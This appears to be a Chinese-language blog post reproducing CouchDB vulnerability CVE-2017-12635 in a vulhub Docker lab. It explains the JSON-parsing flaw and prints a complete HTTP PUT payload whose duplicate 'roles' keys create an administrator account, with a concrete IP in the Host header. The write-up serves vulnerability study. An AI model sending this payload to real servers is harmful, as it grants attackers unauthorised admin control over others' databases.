couchdb垂直越权漏洞复现
2022-03-12 13:57:43

couchdb 垂直越权漏洞(CVE-2017-12635)复现

漏洞前言

简介

CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation (JSON) API 访问。术语 “Couch” 是 “Cluster Of Unreliable Commodity Hardware” 的首字母缩写,它反映了 CouchDB 的目标具有高度可伸缩性,提供了高可用性和高可靠性,即使运行在容易出现故障的硬件上也是如此。

漏洞原理

CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

影响版本

  • 小于 1.7.0 以及 小于 2.1.1

漏洞环境搭建

vulhub拉取漏洞环境docker启动

1
docker-compose up -d

后访问 http://ip:5984,界面如下:

1

访问 http://ip:5984/_utils

2

漏洞利用

我们打开这个界面后并不知道账号密码,无法登陆。构建一个创造用户的数据包,用put请求发送。

3

发现并不可以直接创建,因为没有admin权限,所以会报错。

如果在其中加入Content-Type: application/json,就可以成功绕过role验证。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PUT http://ip/_users/org.couchdb.user:password HTTP/1.1
Host: 45.32.52.6:5984
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 114

{
"type": "user",
"name": "password",
"roles": ["_admin"],
"roles":[],
"password": "password111"
}

4

创建成功,可以同时创建多个用户,但重复发包会爆409错误。

5

最后用自己创建的账号即可成功登陆后台。

6